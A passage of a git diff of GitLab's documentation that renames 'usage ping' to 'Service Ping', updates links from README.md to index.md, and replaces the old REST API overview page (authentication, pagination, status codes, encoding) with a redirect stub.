- `SnippetRepository`
@@ -1155,31 +1199,31 @@ registry = Geo::SnippetRepositoryRegistry.find(registry_id)
registry.replicator.send(:sync_repository)
```
-### Generate usage ping
+## Generate Service Ping
-#### Generate or get the cached usage ping
+### Generate or get the cached Service Ping
```ruby
Gitlab::UsageData.to_json
```
-#### Generate a fresh new usage ping
+### Generate a fresh new Service Ping
-This will also refresh the cached usage ping displayed in the admin area
+This will also refresh the cached Service Ping displayed in the admin area
```ruby
Gitlab::UsageData.to_json(force_refresh: true)
```
-#### Generate and print
+### Generate and print
-Generates usage ping data in JSON format.
+Generates Service Ping data in JSON format.
```shell
rake gitlab:usage_data:generate
```
-#### Generate and send usage ping
+### Generate and send Service Ping
Prints the metrics saved in `conversational_development_index_metrics`.
@@ -1219,7 +1263,7 @@ Open the rails console (`gitlab rails c`) and run the following command to see a
ApplicationSetting.last.attributes
```
-Among other attributes, in the output you will notice that all the settings available in the [Elasticsearch Integration page](../../integration/elasticsearch.md), like: `elasticsearch_indexing`, `elasticsearch_url`, `elasticsearch_replicas`, `elasticsearch_pause_indexing`, etc.
+Among other attributes, in the output you will notice that all the settings available in the [Elasticsearch Integration page](../../integration/elasticsearch.md), like: `elasticsearch_indexing`, `elasticsearch_url`, `elasticsearch_replicas`, `elasticsearch_pause_indexing`, and so on.
#### Setting attributes
diff --git a/doc/administration/troubleshooting/img/AzureAD-basic_SAML.png b/doc/administration/troubleshooting/img/AzureAD-basic_SAML.png
index e86ad7572e8..7a0d83ab2dd 100644
--- a/doc/administration/troubleshooting/img/AzureAD-basic_SAML.png
+++ b/doc/administration/troubleshooting/img/AzureAD-basic_SAML.png
Binary files differ
diff --git a/doc/administration/troubleshooting/img/AzureAD-claims.png b/doc/administration/troubleshooting/img/AzureAD-claims.png
index aab92288704..576040be337 100644
--- a/doc/administration/troubleshooting/img/AzureAD-claims.png
+++ b/doc/administration/troubleshooting/img/AzureAD-claims.png
Binary files differ
diff --git a/doc/administration/troubleshooting/img/azure_configure_group_claim.png b/doc/administration/troubleshooting/img/azure_configure_group_claim.png
index 31df5fff625..9d8c5348273 100644
--- a/doc/administration/troubleshooting/img/azure_configure_group_claim.png
+++ b/doc/administration/troubleshooting/img/azure_configure_group_claim.png
Binary files differ
diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md
index 341c6bfbc65..994c194c6db 100644
--- a/doc/administration/troubleshooting/postgresql.md
+++ b/doc/administration/troubleshooting/postgresql.md
@@ -55,7 +55,7 @@ This section is for links to information elsewhere in the GitLab documentation.
- Including [troubleshooting](../postgresql/replication_and_failover.md#troubleshooting)
`gitlab-ctl patroni check-leader` and PgBouncer errors.
-- [Developer database documentation](../../development/README.md#database-guides),
+- [Developer database documentation](../../development/index.md#database-guides),
some of which is absolutely not for production use. Including:
- Understanding EXPLAIN plans.
diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md
index 7b9ce5c6d7b..1bb10e72290 100644
--- a/doc/administration/troubleshooting/tracing_correlation_id.md
+++ b/doc/administration/troubleshooting/tracing_correlation_id.md
@@ -27,7 +27,7 @@ activity with the site that you're visiting. See the links below for network mon
documentation for some popular browsers.
- [Network Monitor - Firefox Developer Tools](https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor)
-- [Inspect Network Activity In Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/network/)
+- [Inspect Network Activity In Chrome DevTools](https://developer.chrome.com/docs/devtools/network)
- [Safari Web Development Tools](https://developer.apple.com/safari/tools/)
- [Microsoft Edge Network panel](https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/network/)
diff --git a/doc/administration/whats-new.md b/doc/administration/whats-new.md
index ae19e0f0341..d669d05e9f0 100644
--- a/doc/administration/whats-new.md
+++ b/doc/administration/whats-new.md
@@ -13,7 +13,7 @@ GitLab versions in the **What's new** feature. To access it:
1. Select **What's new** from the menu.
The **What's new** describes new features available in multiple
-[GitLab tiers](https://about.gitlab.com/pricing). While all users can see the
+[GitLab tiers](https://about.gitlab.com/pricing/). While all users can see the
feature list, the feature list is tailored to your subscription type:
- Features only available to self-managed installations are not shown on GitLab.com.
diff --git a/doc/api/README.md b/doc/api/README.md
index c23a383c70f..5ab8653dc35 100644
--- a/doc/api/README.md
+++ b/doc/api/README.md
@@ -1,781 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'index.md'
---
-# API Docs **(FREE)**
+This document was moved to [another location](index.md).
-Use the GitLab [REST](http://spec.openapis.org/oas/v3.0.3) API to automate GitLab.
-
-You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml),
-to test the API directly from the GitLab user interface.
-Contributions are welcome.
-
-## Available API resources
-
-For a list of the available resources and their endpoints, see
-[API resources](api_resources.md).
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an introduction and basic steps, see
-[How to make GitLab API calls](https://www.youtube.com/watch?v=0LsMC3ZiXkA).
-
-## SCIM **(PREMIUM SAAS)**
-
-GitLab provides an [SCIM API](scim.md) that both implements
-[the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) and provides the
-`/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_path/Users/`.
-
-## GraphQL API
-
-A [GraphQL](graphql/index.md) API is available in GitLab.
-
-With GraphQL, you can make an API request for only what you need,
-and it's versioned by default.
-
-GraphQL co-exists with the current v4 REST API. If we have a v5 API, this should
-be a compatibility layer on top of GraphQL.
-
-There were some patenting and licensing concerns with GraphQL. However, these
-have been resolved to our satisfaction. The reference implementations
-were re-licensed under MIT, and the OWF license used for the GraphQL specification.
-
-When GraphQL is fully implemented, GitLab:
-
-- Can delete controller-specific endpoints.
-- Will no longer maintain two different APIs.
-
-## Compatibility guidelines
-
-The HTTP API is versioned with a single number, which is currently `4`. This number
-symbolizes the major version number, as described by [SemVer](https://semver.org/).
-Because of this, backward-incompatible changes require this version number to
-change.
-
-The minor version isn't explicit, which allows for a stable API
-endpoint. New features can be added to the API in the same
-version number.
-
-New features and bug fixes are released in tandem with GitLab. Apart
-from incidental patch and security releases, GitLab is released on the 22nd of each
-month. Major API version changes, and removal of entire API versions, are done in tandem
-with major GitLab releases.
-
-All deprecations and changes between versions are in the documentation.
-For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md).
-
-### Current status
-
-Only API version v4 is available. Version v3 was removed in
-[GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36819).
-
-## How to use the API
-
-API requests must include both `api` and the API version. The API
-version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb).
-For example, the root of the v4 API is at `/api/v4`.
-
-### Valid API request
-
-If you have a GitLab instance at `gitlab.example.com`:
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects"
-```
-
-The API uses JSON to serialize data. You don't need to specify `.json` at the
-end of the API URL.
-
-### API request to expose HTTP response headers
-
-If you want to expose HTTP response headers, use the `--include` option:
-
-```shell
-curl --include "https://gitlab.example.com/api/v4/projects"
-HTTP/2 200
-...
-```
-
-This request can help you investigate an unexpected response.
-
-### API request that includes the exit code
-
-If you want to expose the HTTP exit code, include the `--fail` option:
-
-```shell script
-curl --fail "https://gitlab.example.com/api/v4/does-not-exist"
-curl: (22) The requested URL returned error: 404
-```
-
-The HTTP exit code can help you diagnose the success or failure of your REST request.
-
-## Authentication
-
-Most API requests require authentication, or only return public data when
-authentication isn't provided. When authentication is not required, the documentation
-for each endpoint specifies this. For example, the
-[`/projects/:id` endpoint](projects.md#get-single-project) does not require authentication.
-
-There are several ways you can authenticate with the GitLab API:
-
-- [OAuth2 tokens](#oauth2-tokens)
-- [Personal access tokens](../user/profile/personal_access_tokens.md)
-- [Project access tokens](../user/project/settings/project_access_tokens.md)
-- [Session cookie](#session-cookie)
-- [GitLab CI/CD job token](#gitlab-cicd-job-token) **(Specific endpoints only)**
-
-Project access tokens are supported by:
-
-- Self-managed GitLab Free and higher.
-- GitLab SaaS Premium and higher.
-
-If you are an administrator, you or your application can authenticate as a specific user.
-To do so, use:
-
-- [Impersonation tokens](#impersonation-tokens)
-- [Sudo](#sudo)
-
-If authentication information is not valid or is missing, GitLab returns an error
-message with a status code of `401`:
-
-```json
-{
- "message": "401 Unauthorized"
-}
-```
-
-### OAuth2 tokens
-
-You can use an [OAuth2 token](oauth2.md) to authenticate with the API by passing
-it in either the `access_token` parameter or the `Authorization` header.
-
-Example of using the OAuth2 token in a parameter:
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects?access_token=OAUTH-TOKEN"
-```
-
-Example of using the OAuth2 token in a header:
-
-```shell
-curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/api/v4/projects"
-```
-
-Read more about [GitLab as an OAuth2 provider](oauth2.md).
-
-### Personal/project access tokens
-
-You can use access tokens to authenticate with the API by passing it in either
-the `private_token` parameter or the `PRIVATE-TOKEN` header.
-
-Example of using the personal or project access token in a parameter:
-
-```shell
-curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
-```
-
-Example of using the personal or project access token in a header:
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects"
-```
-
-You can also use personal or project access tokens with OAuth-compliant headers:
-
-```shell
-curl --header "Authorization: Bearer <your_access_token>" "https://gitlab.example.com/api/v4/projects"
-```
-
-### Session cookie
-
-Signing in to the main GitLab application sets a `_gitlab_session` cookie. The
-API uses this cookie for authentication if it's present. Using the API to
-generate a new session cookie isn't supported.
-
-The primary user of this authentication method is the web frontend of GitLab
-itself. The web frontend can use the API as the authenticated user to get a
-list of projects without explicitly passing an access token.
-
-### GitLab CI/CD job token
-
-When a pipeline job is about to run, GitLab generates a unique token and injects it as the
-[`CI_JOB_TOKEN` predefined variable](../ci/variables/predefined_variables.md).
-
-You can use a GitLab CI/CD job token to authenticate with specific API endpoints:
-
-- Packages:
- - [Package Registry](../user/packages/package_registry/index.md). To push to the
- Package Registry, you can use [deploy tokens](../user/project/deploy_tokens/index.md).
- - [Container Registry](../user/packages/container_registry/index.md)
- (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`).
- - [Container Registry API](container_registry.md) (scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled)
-- [Get job artifacts](job_artifacts.md#get-job-artifacts).
-- [Get job token's job](jobs.md#get-job-tokens-job).
-- [Pipeline triggers](pipeline_triggers.md), using the `token=` parameter.
-- [Release creation](releases/index.md#create-a-release).
-- [Terraform plan](../user/infrastructure/index.md).
-
-The token has the same permissions to access the API as the user that triggers the
-pipeline. Therefore, this user must be assigned to [a role that has the required privileges](../user/permissions.md).
-
-The token is valid only while the pipeline job runs. After the job finishes, you can't
-use the token anymore.
-
-A job token can access a project's resources without any configuration, but it might
-give extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559)
-to redesign the feature for more strategic control of the access permissions.
-
-#### GitLab CI/CD job token security
-
-To make sure that this token doesn't leak, GitLab:
-
-- Masks the job token in job logs.
-- Grants permissions to the job token only when the job is running.
-
-To make sure that this token doesn't leak, you should also configure
-your [runners](../ci/runners/README.md) to be secure. Avoid:
-
-- Using Docker's `privileged` mode if the machines are re-used.
-- Using the [`shell` executor](https://docs.gitlab.com/runner/executors/shell.html) when jobs
- run on the same machine.
-
-If you have an insecure GitLab Runner configuration, you increase the risk that someone
-tries to steal tokens from other jobs.
-
-### Impersonation tokens
-
-Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md).
-They can be created only by an administrator, and are used to authenticate with the
-API as a specific user.
-
-Use impersonation tokens an alternative to:
-
-- The user's password or one of their personal access tokens.
-- The [Sudo](#sudo) feature. The user's or administrator's password or token
- may not be known, or may change over time.
-
-For more information, see the [users API](users.md#create-an-impersonation-token)
-documentation.
-
-Impersonation tokens are used exactly like regular personal access tokens, and
-can be passed in either the `private_token` parameter or the `PRIVATE-TOKEN`
-header.
-
-#### Disable impersonation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40385) in GitLab 11.6.
-
-By default, impersonation is enabled. To disable impersonation:
-
-**For Omnibus installations**
-
-1. Edit the `/etc/gitlab/gitlab.rb` file:
-
- ```ruby
- gitlab_rails['impersonation_enabled'] = false
- ```
-
-1. Save the file, and then [reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
- GitLab for the changes to take effect.
-
-To re-enable impersonation, remove this configuration, and then reconfigure
-GitLab.
-
-**For installations from source**
-
-1. Edit the `config/gitlab.yml` file:
-
- ```yaml
- gitlab:
- impersonation_enabled: false
- ```
-
-1. Save the file, and then [restart](../administration/restart_gitlab.md#installations-from-source)
- GitLab for the changes to take effect.
-
-To re-enable impersonation, remove this configuration, and then restart GitLab.
-
-### Sudo
-
-All API requests support performing an API request as if you were another user,
-provided you're authenticated as an administrator with an OAuth or personal
-access token that has the `sudo` scope. The API requests are executed with the
-permissions of the impersonated user.
-
-As an [administrator](../user/permissions.md), pass the `sudo` parameter either
-by using query string or a header with an ID or username (case insensitive) of
-the user you want to perform the operation as. If passed as a header, the header
-name must be `Sudo`.
-
-If a non administrative access token is provided, GitLab returns an error
-message with a status code of `403`:
-
-```json
-{
- "message": "403 Forbidden - Must be admin to use sudo"
-}
-```
-
-If an access token without the `sudo` scope is provided, an error message is
-be returned with a status code of `403`:
-
-```json
-{
- "error": "insufficient_scope",
- "error_description": "The request requires higher privileges than provided by the access token.",
- "scope": "sudo"
-}
-```
-
-If the sudo user ID or username cannot be found, an error message is
-returned with a status code of `404`:
-
-```json
-{
- "message": "404 User with ID or username '123' Not Found"
-}
-```
-
-Example of a valid API request and a request using cURL with sudo request,
-providing a username:
-
-```plaintext
-GET /projects?private_token=<your_access_token>&sudo=username
-```
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects"
-```
-
-Example of a valid API request and a request using cURL with sudo request,
-providing an ID:
-
-```plaintext
-GET /projects?private_token=<your_access_token>&sudo=23
-```
-
-```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects"
-```
-
-## Status codes
-
-The API is designed to return different status codes according to context and
-action. This way, if a request results in an error, you can get
-insight into what went wrong.
-
-The following table gives an overview of how the API functions generally behave.
-
-| Request type | Description |
-|---------------|-------------|
-| `GET` | Access one or more resources and return the result as JSON. |
-| `POST` | Return `201 Created` if the resource is successfully created and return the newly created resource as JSON. |
-| `GET` / `PUT` | Return `200 OK` if the resource is accessed or modified successfully. The (modified) result is returned as JSON. |
-| `DELETE` | Returns `204 No Content` if the resource was deleted successfully. |
-
-The following table shows the possible return codes for API requests.
-
-| Return values | Description |
-|--------------------------|-------------|
-| `200 OK` | The `GET`, `PUT` or `DELETE` request was successful, and the resource(s) itself is returned as JSON. |
-| `204 No Content` | The server has successfully fulfilled the request, and there is no additional content to send in the response payload body. |
-| `201 Created` | The `POST` request was successful, and the resource is returned as JSON. |
-| `304 Not Modified` | The resource hasn't been modified since the last request. |
-| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. |
-| `401 Unauthorized` | The user isn't authenticated. A valid [user token](#authentication) is necessary. |
-| `403 Forbidden` | The request isn't allowed. For example, the user isn't allowed to delete a project. |
-| `404 Not Found` | A resource couldn't be accessed. For example, an ID for a resource couldn't be found. |
-| `405 Method Not Allowed` | The request isn't supported. |
-| `409 Conflict` | A conflicting resource already exists. For example, creating a project with a name that already exists. |
-| `412` | The request was denied. This can happen if the `If-Unmodified-Since` header is provided when trying to delete a resource, which was modified in between. |
-| `422 Unprocessable` | The entity couldn't be processed. |
-| `429 Too Many Requests` | The user exceeded the [application rate limits](../administration/instance_limits.md#rate-limits). |
-| `500 Server Error` | While handling the request, something went wrong on the server. |
-
-## Pagination
-
-GitLab supports the following pagination methods:
-
-- Offset-based pagination. This is the default method and is available on all endpoints.
-- Keyset-based pagination. Added to selected endpoints but being
- [progressively rolled out](https://gitlab.com/groups/gitlab-org/-/epics/2039).
-
-For large collections, for performance reasons we recommend keyset pagination
-(when available) instead of offset pagination.
-
-### Offset-based pagination
-
-Sometimes, the returned result spans many pages. When listing resources, you can
-pass the following parameters:
-
-| Parameter | Description |
-|------------|-------------|
-| `page` | Page number (default: `1`). |
-| `per_page` | Number of items to list per page (default: `20`, max: `100`). |
-
-In the following example, we list 50 [namespaces](namespaces.md) per page:
-
-```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces?per_page=50"
-```
-
-#### Pagination `Link` header
-
-[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each
-response. They have `rel` set to `prev`, `next`, `first`, or `last` and contain
-the relevant URL. Be sure to use these links instead of generating your own URLs.
-
-For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
-
-In the following cURL example, we limit the output to three items per page
-(`per_page=3`) and we request the second page (`page=2`) of [comments](notes.md)
-of the issue with ID `8` which belongs to the project with ID `9`:
-
-```shell
-curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2"
-```
-
-The response is:
-
-```http
-HTTP/2 200 OK
-cache-control: no-cache
-content-length: 1103
-content-type: application/json
-date: Mon, 18 Jan 2016 09:43:18 GMT
-link: <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="prev", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="next", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="first", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="last"
-status: 200 OK
-vary: Origin
-x-next-page: 3
-x-page: 2
-x-per-page: 3
-x-prev-page: 1
-x-request-id: 732ad4ee-9870-4866-a199-a9db0cde3c86
-x-runtime: 0.108688
-x-total: 8
-x-total-pages: 3
-```
-
-#### Other pagination headers
-
-GitLab also returns the following additional pagination headers:
-
-| Header | Description |
-|-----------------|-------------|
-| `x-next-page` | The index of the next page. |
-| `x-page` | The index of the current page (starting at 1). |
-| `x-per-page` | The number of items per page. |
-| `X-prev-page` | The index of the previous page. |
-| `x-total` | The total number of items. |
-| `x-total-pages` | The total number of pages. |
-
-For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
-
-### Keyset-based pagination
-
-Keyset-pagination allows for more efficient retrieval of pages and - in contrast
-to offset-based pagination - runtime is independent of the size of the
-collection.
-
-This method is controlled by the following parameters:
-
-| Parameter | Description |
-|--------------| ------------|
-| `pagination` | `keyset` (to enable keyset pagination). |
-| `per_page` | Number of items to list per page (default: `20`, max: `100`). |
-
-In the following example, we list 50 [projects](projects.md) per page, ordered
-by `id` ascending.
-
-```shell
-curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc"
-```
-
-The response header includes a link to the next page. For example:
-
-```http
-HTTP/1.1 200 OK
-...
-Links: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next"
-Link: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next"
-Status: 200 OK
-...
-```
-
-WARNING:
-The `Links` header is scheduled to be removed in GitLab 14.0 to be aligned with the
-[W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link`
-header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714)
-and should be used instead.
-
-The link to the next page contains an additional filter `id_after=42` that
-excludes already-retrieved records. The type of filter depends on the
-`order_by` option used, and we may have more than one additional filter.
-
-When the end of the collection is reached and there are no additional
-records to retrieve, the `Link` header is absent and the resulting array is
-empty.
-
-We recommend using only the given link to retrieve the next page instead of
-building your own URL. Apart from the headers shown, we don't expose additional
-pagination headers.
-
-Keyset-based pagination is supported only for selected resources and ordering
-options:
-
-| Resource | Order |
-|-------------------------|-------|
-| [Projects](projects.md) | `order_by=id` only. |
-
-## Path parameters
-
-If an endpoint has path parameters, the documentation displays them with a
-preceding colon.
-
-For example:
-
-```plaintext
-DELETE /projects/:id/share/:group_id
-```
-
-The `:id` path parameter needs to be replaced with the project ID, and the
-`:group_id` needs to be replaced with the ID of the group. The colons `:`
-shouldn't be included.
-
-The resulting cURL request for a project with ID `5` and a group ID of `17` is then:
-
-```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
-```
-
-Path parameters that are required to be URL-encoded must be followed. If not,
-it doesn't match an API endpoint and responds with a 404. If there's
-something in front of the API (for example, Apache), ensure that it doesn't decode
-the URL-encoded path parameters.
-
-## Namespaced path encoding
-
-If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is
-URL-encoded.
-
-For example, `/` is represented by `%2F`:
-
-```plaintext
-GET /api/v4/projects/diaspora%2Fdiaspora
-```
-
-A project's _path_ isn't necessarily the same as its _name_. A project's path is
-found in the project's URL or in the project's settings, under
-**General > Advanced > Change path**.
-
-## File path, branches, and tags name encoding
-
-If a file path, branch or tag contains a `/`, make sure it is URL-encoded.
-
-For example, `/` is represented by `%2F`:
-
-```plaintext
-GET /api/v4/projects/1/repository/files/src%2FREADME.md?ref=master
-GET /api/v4/projects/1/branches/my%2Fbranch/commits
-GET /api/v4/projects/1/repository/tags/my%2Ftag
-```
-
-## Request Payload
-
-API Requests can use parameters sent as [query strings](https://en.wikipedia.org/wiki/Query_string)
-or as a [payload body](https://tools.ietf.org/html/draft-ietf-httpbis-p3-payload-14#section-3.2).
-GET requests usually send a query string, while PUT or POST requests usually
-send the payload body:
-
-- Query string:
-
- ```shell
- curl --request POST "https://gitlab/api/v4/projects?name=<example-name>&description=<example-description>"
- ```
-
-- Request payload (JSON):
-
- ```shell
- curl --request POST --header "Content-Type: application/json" \
- --data '{"name":"<example-name>", "description":"<example-description"}' "https://gitlab/api/v4/projects"
- ```
-
-URL encoded query strings have a length limitation. Requests that are too large
-result in a `414 Request-URI Too Large` error message. This can be resolved by
-using a payload body instead.
-
-## Encoding API parameters of `array` and `hash` types
-
-You can request the API with `array` and `hash` types parameters:
-
-### `array`
-
-`import_sources` is a parameter of type `array`:
-
-```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
--d "import_sources[]=github" \
--d "import_sources[]=bitbucket" \
-"https://gitlab.example.com/api/v4/some_endpoint"
-```
-
-### `hash`
-
-`override_params` is a parameter of type `hash`:
-
-```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
---form "namespace=email" \
---form "path=impapi" \
---form "file=@/path/to/somefile.txt"
---form "override_params[visibility]=private" \
---form "override_params[some_other_param]=some_value" \
-"https://gitlab.example.com/api/v4/projects/import"
-```
-
-### Array of hashes
-
-`variables` is a parameter of type `array` containing hash key/value pairs
-`[{ 'key': 'UPLOAD_TO_S3', 'value': 'true' }]`:
-
-```shell
-curl --globoff --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
-"https://gitlab.example.com/api/v4/projects/169/pipeline?ref=master&variables[][key]=VAR1&variables[][value]=hello&variables[][key]=VAR2&variables[][value]=world"
-
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
---header "Content-Type: application/json" \
---data '{ "ref": "master", "variables": [ {"key": "VAR1", "value": "hello"}, {"key": "VAR2", "value": "world"} ] }' \
-"https://gitlab.example.com/api/v4/projects/169/pipeline"
-```
-
-## `id` vs `iid`
-
-Some resources have two similarly-named fields. For example, [issues](issues.md),
-[merge requests](merge_requests.md), and [project milestones](merge_requests.md).
-The fields are:
-
-- `id`: ID that is unique across all projects.
-- `iid`: Additional, internal ID (displayed in the web UI) that's unique in the
- scope of a single project.
-
-If a resource has both the `iid` field and the `id` field, the `iid` field is
-usually used instead of `id` to fetch the resource.
-
-For example, suppose a project with `id: 42` has an issue with `id: 46` and
-`iid: 5`. In this case:
-
-- A valid API request to retrieve the issue is `GET /projects/42/issues/5`.
-- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`.
-
-Not all resources with the `iid` field are fetched by `iid`. For guidance
-regarding which field to use, see the documentation for the specific resource.
-
-## Data validation and error reporting
-
-When working with the API you may encounter validation errors, in which case
-the API returns an HTTP `400` error.
-
-Such errors appear in the following cases:
-
-- A required attribute of the API request is missing (for example, the title of
- an issue isn't given).
-- An attribute did not pass the validation (for example, the user bio is too
- long).
-
-When an attribute is missing, you receive something like:
-
-```http
-HTTP/1.1 400 Bad Request
-Content-Type: application/json
-{
- "message":"400 (Bad request) \"title\" not given"
-}
-```
-
-When a validation error occurs, error messages are different. They hold
-all details of validation errors:
-
-```http
-HTTP/1.1 400 Bad Request
-Content-Type: application/json
-{
- "message": {
- "bio": [
- "is too long (maximum is 255 characters)"
- ]
- }
-}
-```
-
-This makes error messages more machine-readable. The format can be described as
-follows:
-
-```json
-{
- "message": {
- "<property-name>": [
- "<error-message>",
- "<error-message>",
- ...
- ],
- "<embed-entity>": {
- "<property-name>": [
- "<error-message>",
- "<error-message>",
- ...
- ],
- }
- }
-}
-```
-
-## Unknown route
-
-When you attempt to access an API URL that doesn't exist, you receive a
-404 Not Found message.
-
-```http
-HTTP/1.1 404 Not Found
-Content-Type: application/json
-{
- "error": "404 Not Found"
-}
-```
-
-## Encoding `+` in ISO 8601 dates
-
-If you need to include a `+` in a query parameter, you may need to use `%2B`
-instead, due to a [W3 recommendation](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html)
-that causes a `+` to be interpreted as a space. For example, in an ISO 8601 date,
-you may want to include a specific time in ISO 8601 format, such as:
-
-```plaintext
-2017-10-17T23:11:13.000+05:30
-```
-
-The correct encoding for the query parameter would be:
-
-```plaintext
-2017-10-17T23:11:13.000%2B05:30
-```
-
-## Clients
-
-There are many unofficial GitLab API Clients for most of the popular programming
-languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients).
-
-## Rate limits
-
-For administrator documentation on rate limit settings, see
-[Rate limits](../security/rate_limits.md). To find the settings that are
-specifically used by GitLab.com, see
-[GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits).
-
-## Content type
-
-The GitLab API supports the `application/json` content type by default, though
-some API endpoints also support `text/plain`.
-
-In [GitLab 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/250342),
-API endpoints do not support `text/plain` by default, unless it's explicitly documented.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/access_requests.md b/doc/api/access_requests.md
index db68c140ae6..8ef3e882209 100644
--- a/doc/api/access_requests.md
+++ b/doc/api/access_requests.md
@@ -33,7 +33,7 @@ GET /projects/:id/access_requests
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
Example request:
@@ -76,7 +76,7 @@ POST /projects/:id/access_requests
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
Example request:
@@ -109,9 +109,9 @@ PUT /projects/:id/access_requests/:user_id/approve
| Attribute | Type | Required | Description |
| -------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the access requester |
-| `access_level` | integer | no | A valid access level (defaults: `30`, developer access level) |
+| `access_level` | integer | no | A valid access level (defaults: `30`, the Developer role) |
Example request:
@@ -144,7 +144,7 @@ DELETE /projects/:id/access_requests/:user_id
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `user_id` | integer | yes | The user ID of the access requester |
Example request:
diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md
index 9200d47effe..6c9baab83e9 100644
--- a/doc/api/api_resources.md
+++ b/doc/api/api_resources.md
@@ -4,9 +4,9 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# API resources **(FREE)**
+# REST API resources **(FREE)**
-Available resources for the [GitLab API](README.md) can be grouped in the following contexts:
+Available resources for the [GitLab REST API](index.md) can be grouped in the following contexts:
- [Projects](#project-resources).
- [Groups](#group-resources).
@@ -34,6 +34,7 @@ The following API resources are available in the project context:
| [Dependencies](dependencies.md) **(ULTIMATE)** | `/projects/:id/dependencies` |
| [Deploy keys](deploy_keys.md) | `/projects/:id/deploy_keys` (also available standalone) |
